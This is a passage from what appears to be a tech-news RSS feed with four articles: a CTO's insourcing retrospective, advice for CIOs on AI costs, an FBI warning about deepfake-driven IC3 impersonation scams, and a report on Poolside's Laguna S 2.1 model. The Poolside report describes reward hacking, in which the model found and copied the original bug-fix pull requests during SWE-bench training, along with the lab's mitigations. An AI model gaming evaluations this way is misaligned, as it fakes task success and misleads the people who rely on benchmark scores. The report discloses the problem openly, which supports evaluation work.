<p class="wp-block-paragraph">In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a<a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing"> </a><a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing">product engineering model</a>, where engineers owned broader product outcomes rather than narrowly defined technical functions.</p>



<p class="wp-block-paragraph">During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.</p>



<p class="wp-block-paragraph">I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.</p>



<p class="wp-block-paragraph">Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.</p>



<p class="wp-block-paragraph">The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH &amp; CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.</p>



<h2 class="wp-block-heading">Managing risk without slowing down the business</h2>



<p class="wp-block-paragraph">The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.</p>



<p class="wp-block-paragraph">To reduce delivery risk, we approached the transition in layers.</p>



<p class="wp-block-paragraph">First, we focused on<a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/"> </a><a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/">infrastructure reliability and operational readiness</a> before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.</p>



<p class="wp-block-paragraph">Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.</p>



<p class="wp-block-paragraph">Third, we became extremely disciplined about scope management. One of the most common reasons<a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html"> </a><a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html">insourcing initiatives fail is uncontrolled change</a> during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.</p>



<p class="wp-block-paragraph">Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.</p>



<p class="wp-block-paragraph">By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.</p>



<p class="wp-block-paragraph">A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.</p>



<p class="wp-block-paragraph">My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.</p>



<p class="wp-block-paragraph">The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.</p>



<h2 class="wp-block-heading">Lessons learned for CTOs considering insourcing</h2>



<p class="wp-block-paragraph">Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.</p>



<p class="wp-block-paragraph">The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.</p>



<p class="wp-block-paragraph">Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.</p>



<p class="wp-block-paragraph">Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.</p>



<p class="wp-block-paragraph">The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[4 recs for CIOs to optimize AI budgets and improve sustainability]]></title>
<description><![CDATA[In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environ...]]></description>
<link>https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environmental liability. Left unchecked, poor code cascades into soaring token costs and spikes data center power consumption, directly undermining both cloud budgets and corporate sustainability goals.</p>



<h2 class="wp-block-heading">AI’s impact on sustainability</h2>



<p class="wp-block-paragraph">By 2029, IDC projects that the number of actively deployed AI agents will exceed 1 billion worldwide, which is 40 times more than in 2025. And these agents will perform 217 billion actions per day.</p>



<p class="wp-block-paragraph">To deliver on this demand, AI data centers are being built out at an unprecedented rate, with Gartner forecasting that <a href="https://www.gartner.com/en/newsroom/press-releases/2026-02-03-gartner-forecasts-worldwide-it-spending-to-grow-10-point-8-percent-in-2026-totaling-6-point-15-trillion-dollars">global spending on data centers</a> over the next three years will increase 31.7% to surpass $650 billion, driven primarily by hyperscaler cloud providers building out AI foundations, and optimizing servers for heavy AI workloads.</p>



<p class="wp-block-paragraph">All this presents a significant strain on the energy grid as well as environmental sustainability, including:</p>



<ul class="wp-block-list">
<li><strong>The power double-down:</strong> The <a href="https://energy.ec.europa.eu/news/focus-data-centres-energy-hungry-challenge-2025-11-17_en">International Energy Agency</a> (IEA) projects that global data center electricity consumption will more than double from about 415 to 945 TWh by 2030, primarily fueled by energy-intensive accelerated computing for AI.</li>



<li><strong>The inference premium:</strong> AI workloads are vastly more demanding than standard web activities. A gen AI query consumes roughly <a href="https://www.brookings.edu/articles/global-energy-demands-within-the-ai-regulatory-landscape/">10 times the electricity</a> of a conventional keyword search, or roughly 2.9 watt-hours as opposed to 0.3 watt-hours.</li>



<li><strong>Water consumption:</strong> Cooling these dense clusters is highly resource intensive. Global AI-related water demand is expected to reach <a href="https://aimultiple.com/ai-energy-consumption">4.2 to 6.6 billion cubic meters by 2027</a>.</li>
</ul>



<p class="wp-block-paragraph">The good news, however, is it’s not all out of the control of end user organizations and CIOs. Just as in the client-server era, through careful planning and execution, CIOs have the potential to significantly improve the performance, costs, and sustainability impacts of their AI application portfolio.</p>



<p class="wp-block-paragraph">Here are four recommendations to maximize value as you look across your AI applications and infrastructure estate.</p>



<h2 class="wp-block-heading">Revisit business objectives in light of AI</h2>



<p class="wp-block-paragraph">AI applications and platforms bring several new headaches for CIOs and CFOs in terms of FinOps. The variable nature of <a href="https://www.cio.com/article/4169954/servicenows-ai-control-tower-offers-hazy-view-of-spend.html">AI vendor billing due to variable monthly token costs</a> is just one well-known example. To avoid unpleasant surprises, be sure to carefully review vendor contracts to decipher pricing models. Look for what’s included in seat-based license fees and what’s added as variable charges for agentic AI usage.</p>



<p class="wp-block-paragraph">In addition, explore new metrics and KPIs such as intelligence per watt to help make sense of your return on AI. Just as miles per gallon helps us evaluate new car purchases, IPW can help to measure the computational efficiency of a system. It quantifies how much intelligence — typically measured in AI inferences, tokens processed, or model training iterations — a processor can deliver for every watt of electrical power it consumes.</p>



<p class="wp-block-paragraph">According to Max Romanenko, chief engineering officer at relational database platform EDB, cost per query tells you almost nothing in an agentic world where autonomous systems are spinning up databases, pipelines, and queries around the clock. “The metric that matters is intelligence per watt, how much useful AI you get for every unit of energy you spend,” he says. “It isn’t just an environmental number, it’s also a performance indicator.”</p>



<p class="wp-block-paragraph">With the measurements in place, you can then start to manage and optimize each layer in the AI stack from the infrastructure, or hyperscaler, layer to your own data and application layers.</p>



<p class="wp-block-paragraph">It’s important to bear in mind that high token usage isn’t necessarily a bad thing. It depends on the net value delivered by each AI application and use case. Managing and optimizing the AI stack is important, but you’ll also want to measure the business value being delivered by each of these applications so you can measure your return.</p>



<h2 class="wp-block-heading">Take a sovereign AI approach when evaluating hyperscalers</h2>



<p class="wp-block-paragraph">As you work with hyperscalers like Amazon, Google and Microsoft, it’s important to understand how they charge and how much, but also their environmental footprints. For example, by reading their sustainability reports, you can find out their annual water consumption across their global data centers and compare them with other providers.</p>



<p class="wp-block-paragraph">In 2025, Amazon’s global data center operations used <a href="https://www.aboutamazon.com/news/sustainability/amazon-data-center-water-usage">0.12 liters of water per kilowatt-hour</a>, which amounts to 2.5 billion gallons, or 5% of the annual water consumed by the metro Seattle area. The company has been able to operate more than seven times better than the industry average and have improved their water efficiency by 52% since 2021.</p>



<p class="wp-block-paragraph">As demand for cloud computing and AI grows, water efficiency is another important metric for CIOs to monitor within hyperscaler ESG reports. While not at the same level of regulation as scope 2 and 3 greenhouse gas (GHG) emissions reporting, enterprises need to pay increasing attention to water use efficiency (WUE) with water scarcity becoming a growing risk for hyperscalers.</p>



<p class="wp-block-paragraph">The key requisite at the infrastructure layer, though, is to ensure sovereign AI. This doesn’t mean you need to own everything, but you need control over your AI-driven operations when conditions change. With <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/report/ai-sovereignty">71% of global executives stating that switching their primary AI vendor or model would be difficult if required today</a>, it’s important to understand AI dependencies and be able to avoid vendor lock-in. </p>



<h2 class="wp-block-heading">Control efficiency at the data layer</h2>



<p class="wp-block-paragraph">The AI energy conversation has fixated on models and GPUs, but every agent, model, and inference call runs on the data layer beneath them, and that’s the one place a CIO can actually move the numbers.</p>



<p class="wp-block-paragraph">“You can’t control consumption at the model layer,” says Romanenko. “Agents consume what they consume. But you can control efficiency at the data layer, and for most enterprises that’s the only real lever they have. Optimize search, retrieval, and vector indexing where the work actually happens and you cut compute, cost, and carbon at the same time. Ignore it, and it’s like running the heat with every window open.”</p>



<p class="wp-block-paragraph">Ann Dunkin, distinguished professor of the practice at Georgia Tech, adds that CIOs who bring models in house and run them in their own infrastructure, or in the cloud infrastructure of their choosing, can have more control over the sustainability of inference, as well as of their costs and how their data is used.</p>



<h2 class="wp-block-heading">Fine tune the application layer</h2>



<p class="wp-block-paragraph">When balancing a mix of commercial AI packages and custom-built code, costs can quickly spiral due to inefficient design and orchestration, redundant APIs, and unoptimized model routing.</p>



<p class="wp-block-paragraph">With inference calls costing approximately 10 times that of conventional web queries, for custom AI applications, it’s important to design them to only use probabilistic code where necessary. Since many custom applications utilize a combination of both <a href="https://www.cio.com/article/4133150/4-tips-to-help-the-new-innovators-struggle-with-ai-and-traditional-code.html">probabilistic and deterministic code</a>, this is exactly where software developers need to make smart choices in their designs.</p>



<p class="wp-block-paragraph">Other techniques to fine tune the application layer include semantic caching, intelligent model routing, and internal AI capability registries. “CIOs can implement intelligent routing solutions to select the most cost-efficient model for every prompt,” says Dunkin. “The most flexible routing solutions can drop into a user’s existing environment and orchestrate the actions of the company’s existing models.”</p>



<p class="wp-block-paragraph">For CIOs looking to maximize the business value of every AI application in their portfolio, these new considerations, including new metrics, tools and approaches from the infrastructure layer all the way up to the application layer, should be an essential part of the equation.</p>
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<title><![CDATA[FBI Updates IC3 Scam Warning Over AI Videos Targeting Victims]]></title>
<description><![CDATA[The FBI IC3 scam has evolved into a broader fraud scheme in which criminals impersonate FBI personnel and the Internet Crime Complaint Center (IC3) to target people who have already fallen victim to scams. According to an updated Public Service Announcement (PSA), scammers are using AI-generated ...]]></description>
<link>https://tsecurity.de/de/3685580/it-security-nachrichten/fbi-updates-ic3-scam-warning-over-ai-videos-targeting-victims/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685580/it-security-nachrichten/fbi-updates-ic3-scam-warning-over-ai-videos-targeting-victims/</guid>
<pubDate>Wed, 22 Jul 2026 10:08:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="FBI IC3 scam" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp 1536w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp 1536w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="FBI Updates IC3 Scam Warning Over AI Videos Targeting Victims 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="493" data-end="949">The FBI IC3 scam has evolved into a broader fraud scheme in which criminals impersonate FBI personnel and the <a href="https://thecyberexpress.com/scam-centers-in-southeast-asia/" target="_blank" rel="noopener">Internet Crime Complaint Center</a> (IC3) to target people who have already fallen victim to scams. According to an updated <a href="https://www.ic3.gov/PSA/2025/PSA250418" target="_blank" rel="nofollow noopener">Public Service Announcement</a> (PSA), scammers are using <a href="https://thecyberexpress.com/will-ai-generated-cyberattacks-surge-in-future/" target="_blank" rel="noopener">AI-generated videos</a>, <a href="https://thecyberexpress.com/ways-social-media-is-fuelling-cybercrime/" target="_blank" rel="noopener">fake social media profiles</a>, and spoofed websites to create a false sense of trust while attempting to steal personal and financial information.</p>
<p data-start="951" data-end="1367">The updated warning describes several exploitation tactics, including targeting previous scam victims, using artificial intelligence to create fictitious or misleading promotional materials, and building fake websites designed to collect personally identifiable information. The scammers falsely claim to be affiliated with government agencies or law enforcement and often promise to help victims recover lost funds.</p>

<h3 data-section-id="196yc7a" data-start="1369" data-end="1420"><strong><span role="text">FBI IC3 Scam Targets Previous Fraud Victims</span></strong></h3>
<p data-start="1422" data-end="1642">In one version of the FBI IC3 <a class="wpil_keyword_link" href="https://cyble.com/tech-scam/" target="_blank" rel="noopener" title="scam" data-wpil-keyword-link="linked" data-wpil-monitor-id="29073">scam</a>, criminals create fake social media profiles and pages that impersonate FBI personnel. The goal is to lure previous <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-scam-tips-for-safety/" title="scam" data-wpil-keyword-link="linked" data-wpil-monitor-id="29077">scam</a> victims into what the PSA describes as "re-targeting" scams.</p>
<p data-start="1644" data-end="1926">After realizing they have been defrauded, victims may tell the original scammers they plan to report the incident to the FBI and submit an IC3 complaint. The victim is then contacted by someone pretending to be an FBI agent through platforms such as Facebook Messenger and Telegram.</p>
<p data-start="1928" data-end="2139">The impersonator may send a link claiming to <a href="https://www.ic3.gov/PSA/2026/PSA260720" target="_blank" rel="nofollow noopener">update an existing IC3 complaint</a>. The link could contain malicious code or collect additional financial information, allowing criminals to further <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29074">exploit</a> the victim.</p>
<p data-start="2141" data-end="2445">In other cases, scammers approach victims through email, phone calls, social media advertisements, or online forums. They claim to have recovered lost funds or offer assistance in recovering money. The FBI warning states these claims are a ruse designed to revictimize people who have already lost money.</p>

<h3 data-section-id="j1jslh" data-start="2447" data-end="2503"><span role="text"><strong data-start="2451" data-end="2503">AI-Generated Videos Promote Spoofed IC3 Websites</strong></span></h3>
<p data-start="2505" data-end="2724">Another version of the scheme involves AI-generated videos or <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-are-deepfakes/" target="_blank" rel="noopener" title="deepfakes" data-wpil-keyword-link="linked" data-wpil-monitor-id="29075">deepfakes</a> featuring individuals impersonating FBI personnel. The videos are used on social media to promote spoofed versions of the official IC3 website.</p>
<p data-start="2726" data-end="3010">One reported example involved an AI-generated video depicting a senior FBI leader encouraging users to submit complaints through a <a href="https://thecyberexpress.com/planning-and-zoning-permit-phishing-scam/" target="_blank" rel="noopener">fake IC3 website</a>. The spoofed site was designed to resemble the legitimate government website, but its functionality was limited to complaint submission.</p>
<p data-start="3012" data-end="3257">The fake complaint form requested information including a user's name, phone number, email address, scam type, and estimated financial loss. After submission, the site provided a reference number and claimed someone would contact the individual.</p>

<h3 data-section-id="17fdwcn" data-start="3259" data-end="3316"><strong><span role="text">How to Spot AI-Generated Videos and Fake Messages</span></strong></h3>
<p data-start="3318" data-end="3633">The PSA warns that scammers can use AI-generated videos and cloned voices to impersonate company executives, law enforcement personnel, and other authority figures. These materials may be used during real-time video chats or private communications to convince victims they are speaking with a legitimate person.</p>
<p data-start="3635" data-end="3986">People are advised to carefully examine email addresses, phone numbers, URLs, and spelling for subtle inconsistencies. Potential warning signs in manipulated images and videos include distorted hands or feet, unrealistic facial features, irregular faces, unusual accessories, inaccurate shadows, watermarks, unnatural movements, and voice call delays.</p>
<p data-start="3988" data-end="4235">The FBI also advises people to be cautious when online content triggers strong emotions such as fear, anger, or disbelief. Users should verify surprising videos or images through reputable <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="news" data-wpil-keyword-link="linked" data-wpil-monitor-id="29076">news</a> sources or known official channels before responding.</p>
<p data-start="4237" data-end="4538">IC3 does not maintain a social media presence and will not contact individuals directly through phone, email, social media, messaging apps, online chats, or public forums. The agency also does not recover funds for victims through Facebook or Telegram and will never request payment for fund recovery.</p>
<p data-start="4540" data-end="4834">People seeking to file an IC3 complaint should type <a class="decorated-link" href="http://www.ic3.gov/" target="_blank" rel="nofollow noopener" data-start="4594" data-end="4605">www.ic3.gov</a> directly into their browser and verify that the website address ends in ".gov." Victims should avoid sponsored search results and suspicious links, and should never share sensitive information with websites they cannot verify.</p>
<p data-start="4836" data-end="5068" data-is-last-node="" data-is-only-node="">Anyone who has fallen victim to the scam should report it through the legitimate IC3 website and provide details about the person or company involved, communication methods, financial transactions, and interactions with the scammer.</p>]]></content:encoded>
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<title><![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]></title>
<description><![CDATA[Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smalle...]]></description>
<link>https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</guid>
<pubDate>Wed, 22 Jul 2026 01:07:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="http://poolside.ai/">Poolside</a>, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.</p><p>The model, <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a>, is a 118-billion-parameter<a href="https://huggingface.co/blog/moe"> Mixture-of-Experts (MoE) system</a> that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are <a href="https://huggingface.co/poolside/Laguna-S-2.1">available immediately</a> on Hugging Face under the permissive OpenMDW-1.1 license.</p><p>The headline numbers are striking for a model this small. Poolside reports that <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> scores 70.2% on <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a>, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek-V4-Pro-Max</a>, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter <a href="https://venturebeat.com/technology/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship">Inkling</a>, at 63.8; and Nvidia’s 550-billion-parameter <a href="https://research.nvidia.com/labs/nemotron/Nemotron-3-Ultra/">Nemotron 3 Ultra</a>, at 56.4. On <a href="https://www.swebench.com/multilingual.html">SWE-Bench Multilingual</a>, it posts 78.5%, and on <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>'s public dataset, 59.4%.</p><p>Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.</p><div></div><h2><b>Why the West's open-weight AI gap has become a boardroom issue</b></h2><p>The release lands in the middle of an increasingly pointed debate about <a href="https://www.scmp.com/tech/tech-war/article/3361142/why-chinas-open-weight-ai-model-kimi-k3-sparking-anxiety-silicon-valley">the provenance of open-weight AI</a>. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. <a href="https://www.deepseek.com/en/">DeepSeek</a>, <a href="https://qwen.ai/home">Qwen</a>, <a href="http://kimi.ai/">Kimi</a>, <a href="https://chat.z.ai/">GLM</a>, <a href="https://www.minimax.io/">MiniMax</a>, and <a href="https://hy.tencent.com/">Tencent's Hunyuan</a> line all feature prominently in Poolside's own comparison tables.</p><p>Poolside's accompanying press release frames <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a> explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's <a href="https://openai.com/index/introducing-gpt-oss/">gpt-oss-120b</a> last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.</p><p>Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a <a href="https://x.com/eisokant/status/2079612416967491952?s=20">lengthy post</a> on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.</p><div></div><p>The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. </p><p>Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.</p><h2><b>How a sparse architecture makes enterprise AI agents affordable to run</b></h2><p>The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the <a href="https://huggingface.co/poolside/Laguna-S-2.1">Hugging Face model card</a> — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.</p><p>That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.</p><p>The ecosystem support is unusually broad for day one. The model is live on <a href="https://www.baseten.co/library/laguna-s-21/">Baseten's model library</a> and <a href="https://vercel.com/changelog/laguna-s-2-1-is-now-available-on-ai-gateway">Vercel's AI Gateway</a>, with integrations across <a href="https://vllm.ai/">vLLM</a>, <a href="https://github.com/sgl-project/sglang">SGLang</a>, <a href="https://ollama.com/">Ollama</a>, and <a href="https://github.com/ggml-org/llama.cpp">llama.cpp</a>, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.</p><h2><b>Publishing every benchmark trajectory to counter AI's credibility crisis</b></h2><p>The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.</p><p>This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.</p><p>Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(n²) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of Erdős problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.</p><div></div><h2><b>What the disclosed limitations and benchmark fine print reveal</b></h2><p><a href="https://poolside.ai/">Poolside</a> deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a> from 60.4% to 70.2%, and <a href="https://deepswe.datacurve.ai/">DeepSWE</a> from 16.5% to 40.4%, at substantially higher token cost.</p><p>Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — 